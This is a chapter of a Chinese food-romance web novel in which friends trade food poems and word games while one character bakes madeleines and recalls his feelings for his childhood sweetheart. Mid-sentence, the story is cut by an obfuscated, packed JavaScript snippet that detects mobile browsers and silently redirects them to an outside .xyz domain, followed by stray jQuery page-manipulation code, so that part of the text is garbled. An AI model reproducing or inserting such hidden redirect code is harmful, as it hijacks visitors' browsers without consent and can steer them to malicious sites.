86. 玛德琳的回忆之声
作品:《竹马,青梅好吃吗[美食]》 姜小鱼:“不作数我另换一个,只是雪花哪里不可以吃,自嚼梅花冰片片,无人先后饮屠苏。到你啦粼音。”
粼音:“香浮乳酪玻璃碗,年年醉里尝新惯。”看出下家想找茬,补充道:“甘酪配樱桃酥。新鲜的樱桃上浇上鲜奶酪和冰的蔗浆,风靡唐朝的甜品。”
……
小谢反驳:“谖草是萱草,就是黄花菜,哪里不能吃了。”
徐令窈:“青青高槐叶,采掇付中厨。新面来近市,汁滓宛相俱。”
时静萤:“能吃的是槐叶?”
徐令窈:“槐叶面条,槐叶榨汁和面,出锅后冷透,凉面作冷淘。”
……
“怎么这么快就轮到我了。”小周支支吾吾了半天,愣是一句都没想出来,遂端起酒一饮而尽。小谢、徐令窈、粼音也默默喝酒,捧起荷叶吸杯,荷梗,既为杯柄又为吸管,几人悠闲慢啜,小周还问道,“这木质的小黄鸭是什么?”
小谢解释:“酒有沉齐,浮蚁在上。盛以翠樽,酌以雕觞。浮蚁鼎沸,酷烈馨香。古人云当浮三大白,酒樽上浮着的小鸭子,就是诗句中的‘浮’。那时的人各饮尊中酒,坐在地上又不容易酒伴樽中还有多少酒,就放上一个小鸭当浮子,酒剩多少,一目了然。”
粼音笑道:“我们倒是悠闲自在,由得小情侣跟这个爱吃冰的姜小鱼斗。”
时静萤喜因背中药,堪称博闻强识,林翊楠满腹相思,每一句念的缱绻温柔,众人像是误入告白现场,唯独姜小鱼,因为粼音一句“雪花哪里可以吃”,彻底杀疯了。
姜小鱼:“冰碗啜。调梅点蜜和琼屑。”
“手红冰碗藕,藕碗冰红手。”
“绿沁玉壶冰碗。尽莲叶、田田铺满。”
“炎天冰碗浆沉玉,相对浮瓜午共闲。”
“霜纨摇素手,雪藕调冰碗。歌韵响,昼船归处荷香满。”
时静萤笑着,一句“水亭入夏薰风来,镜里荷花高下开。蔗浆酪粉出冰碗,对花一饮三百杯。”打断了她的节奏,“说了这样许多,渴了便喝酒吧。”
“冰碗凝寒摇日影,荷筒分窍吸天香。”说罢,姜小鱼端起莲花吸杯,将莲花白一饮而尽,“我实在是想不出来了,我便‘吸天香’罢了。”
……
除了她,便剩下一对情侣,深情相望,互喂狗粮。
时静萤:“相思只在,丁香枝上,豆蔻梢头。”
“红豆生南国,春来发几枝。愿君多采撷,此物最相思。”林翊楠道。
时静萤:“豆蔻连梢煎熟水,莫分茶。”
“连花折得青梅子,怕触心酸不敢赏。”林翊楠道。
时静萤:“蝤蛑虾蟹玳瑁螺,芭蕉豆蔻皆可口。”
“玲珑骰子安红豆,入骨相思知不知。”林翊楠道。
时静萤以一句“蛮姜豆蔻相思味。算却在、春风舌底。”杀死了比赛。
粼音笑着调侃人,“好了我算是明白了,姜小鱼全是冰碗冷饮,林翊楠不是红豆就是青梅,两个人念什么相思味啊,简直是明晃晃的秀恩爱,时静萤的美食都是一股子中药的药膳味,豆蔻熟水,哪里好吃。”
林翊楠笑着说道:“好了,背这些诗,最后不是渴了,就是饿了,这么点糕点都不够吃的,我去厨房。”
他转头去了厨房,用刀细细刮下柠檬的表皮,倒入盛着白砂糖的碗,颗粒状的白砂糖黏在柠檬碎屑上,白砂糖的甜渗入柠檬的酸,滑溜的鸡蛋液一倾而下,彻底搅拌均匀。称量好的低筋面粉、泡打粉、盐混合过筛,倒入蛋液中。
玻璃瓶里放着数根干燥的香荚兰,林翊楠打开木盖,拿出一条褐色的香荚兰,林翊楠感叹第一个用香草荚奶油调味的人,真是天才又聪明,奶味十足的奶油蛋糕因此可以更添一种层次。
林翊楠轻轻剥了下,香草荚一露出,空气中的香草味便极为浓郁,将香荚兰籽刮入,拌成均匀的面糊。刮去香菜籽的香草荚泡在50度左右的酒里,打奶油时候倒一点,中和黄油这样奶制品的膻味最好。
黄油隔水融化,倒进面糊,放入冰箱冷藏。
小周提议:“我觉得无诗可背了,换个有意思的,成语最后一个字接上同音的食物,每个人只管说自己的。比如栩栩如生煎包。”
小谢说道:“这个有点意思,荡气回肠粉。”
姜小鱼:“一言为定胜糕。”
粼音:“世态炎凉茶。”
徐令窈:“高山流水素面”
时静萤:“胸有成竹筒饭”
……
姜小鱼:“一穷二白斩鸡。”
粼音:“如鱼得水饺。”
……
姜小鱼:“三心二意面。”
时静萤:“螳臂当车仔面。”
姜小鱼:“四仰八叉烧包。”
小周与一旁的粼音窃窃私语,“谁又惹她跟数字杠上了。”
粼音与她们都是舍友,朝夕相处的时间不短,“姜小鱼跟时静萤的胜负心那是一个比一个重,要不然怎么说时静萤的别名是时竞赢呢。”
小周摸了摸自己瘪了的肚子,揉了揉以示安慰,“可是我好饿啊。莲花白再风雅,也不管饱啊,慕斯年的玛格丽特饼干早就吃完了,林翊楠带来的糕点也吃光了,听她们这样报菜名,听得我更饿了,真是搬起石头砸自己的脚,何苦建议成语谐音来着。”
……
整间屋子都充满了黄油的暖腻香夹杂着高音般清新的柠檬馨香。林翊楠小心地脱模。小巧的贝壳却稍显丰腴,顶着的肚腩纹路分明,外壳酥脆,内里却轻盈绵软,含在嘴里瞬间就化,只留浓郁的黄油味道,掺杂着一丝柠檬的清香。
冷藏后香草布丁被取出,与玛德琳一起放好,又装入柳条篮,单手能轻易拎着。
时静萤看着拎着柳条篮的林翊楠。
二战前夕乘火车的旅人们,经过科梅尔西都急得跑到车厢处,看女人们拿着柳条篮在人潮拥挤的火车站穿行,大声叫卖着玛德琳。
可林翊楠拎着篮子却像是时尚单品,小周饿得急切,玛德琳蛋糕做得不多,林翊楠也没想到大家吃得这样多,反倒估错了量。
凡是甜品,自然有一些故事来衬托,只是德琳的起源颇有争议。有传言是糕点师发明,更为流传的版本是名叫玛德琳的女仆急中生智,不想,竟然一炮而红。毫无争议的是普鲁斯对于玛德琳的喜爱,所以在《追忆似水年华》写下,“点心渣碰到我的上颚,使我浑身一震,一种舒坦的快感传遍全身,我感到超凡脱俗。”这枚小点心混入茶水,交融口中,令作家醍醐灌顶追忆似水年华。
时静萤吃着玛德琳,香味里却没什么可回忆的,她更喜欢眼下,面前的香草布丁看着便可口,银色的小勺舀起一勺浅黄色布丁,细滑得要溜走,趁那一勺的香草布丁从勺上滑落之前,她低下头,凑上去抿了一口。
滑腻的口感轻而易举的从舌齿间,如滑滑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174558|177414||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
梯一样顺落进喉间,不满足这一勺子的回味,急不可待的舀起下一勺。香浓的布丁混合香草的馥郁,香草天然的纯香,是香草精法比拟的。
甜味稍淡,但香味是那样的沁人心脾,像是静默燃烧的香薰蜡烛,偏又那样自然如果香,底部焦糖的布丁,火候掌握得刚刚好,不会苦,滑糯的布丁与焦香的味道在舌尖化开,温暖得像是笼罩在冬日的阳光下。
林翊楠吃下一口玛德琳,当熟悉的气味穿透时间,在法国的公寓,厨房的香味笼罩,椴花茶在水里绽出苍白小花,像时小萤给他泡过的千张纸,像是她难得穿过的白裙,玛德琳泡在茶水中,点心泡软以后,尝了一口。
与时小萤相处的每个瞬间都凝固成标本,特定时间在脑海中切片,从心的进行投影。于是折射出时小萤球场上挥洒汗水的肆意模样,她某个瞬间对他笑了,大概是进球猛然的喜悦,球场喧嚣,他的世界一片安静,静默无声的望着她,仿佛整个世界只剩下阳光剪影下的时小萤,呆怔怔的不知如何反应,眼前盛开了无数美丽的鲜花,心不听使唤的剧烈的跳动起来,声音甚至大到令他惊惶不安。
气味脆弱却更经久不散,无从辨认的蛛丝马迹,支撑起整座回忆的蜃楼,玛德琳的黄油淋漓得像是那日的斜阳,勾勒在时小萤的鬓发,哪怕是镌刻般清晰的贝壳纹路,都像是她长发被风掀起,无意挠了他脖子的痒,玛德琳明明只是贝壳模样的小蛋糕,却像是一枚真正的贝壳,没有放在耳边,却响起声音。
不是海浪的波涛,而是笑声琳琅,他回忆起的,依旧是眼前的时小萤。惦念之人,从未变过。他近乎痴迷的望着时小萤,心跳又开始作祟,砰砰作响的吸引他的注意,希望他回魂,可他的眼睛却没了出息,这样的美好容颜,怎么能不描摹在心底?
气味无意埋进鼻子,把香草味的种子藏进他的眼底心里,只待时间的长河里无声发芽,忽然变郁郁葱葱,牵起他的想念,恰如红豆,朱红浓堪掬,痴似蜂贪蜜的甜,狂如蝶恋花的酸,如同一颗梅子。
他的满脑子,真的都是他的小青梅。
小周拿着一枚玛德琳,满眼怀念,“好像小时候吃过的老式鸡蛋糕啊,这一定是刚出炉,热腾腾的香味。”
林翊楠笑容温润,嗓音温和的解释:“老式鸡蛋糕会比较干香,玛德琳偏油润一些,不过每个人对于回忆的食物载体都不一样。”
小周看着手上被玛德琳沁出的油光,“的确如此。”
“也是,我最喜欢的还是小时候吃的蜂蜜脆底小面包!”时静萤忽然开口,“一定要刚出炉的,脆底焦香,跟焦糖布丁的焦糖有一点点像,上面的面包松软可口,底下丝丝缕缕的甜跟上面的合在一块,内馅也不用加什么,便口感丰富,只是小时候贪甜,只爱吃脆底。”
“所以上面的都给我吃了。”林翊楠笑容无奈的补充。
时静萤躲过他眼底潋滟的笑意,很快直视他,理直气壮的说道:“我那是懂得分享!而且,如果你真的不喜欢,为什么不拒绝我?”
林翊楠被问得突然,不像是时静萤质问此时此刻的他,倒像是质问初中的切片,如果不喜欢,为什么不拒绝?
是啊,为什么呢?也许从很早很早开始,他就不舍得拒绝时小萤了,哪怕嘴再硬,却总是口嫌体正,纵容得这个人一而再再而三的在他的心上蹦跶,像是踩在木阁楼上,步步作响,防备线更是松动如木板。
“因为,言不由衷,但我行由心衷啊。”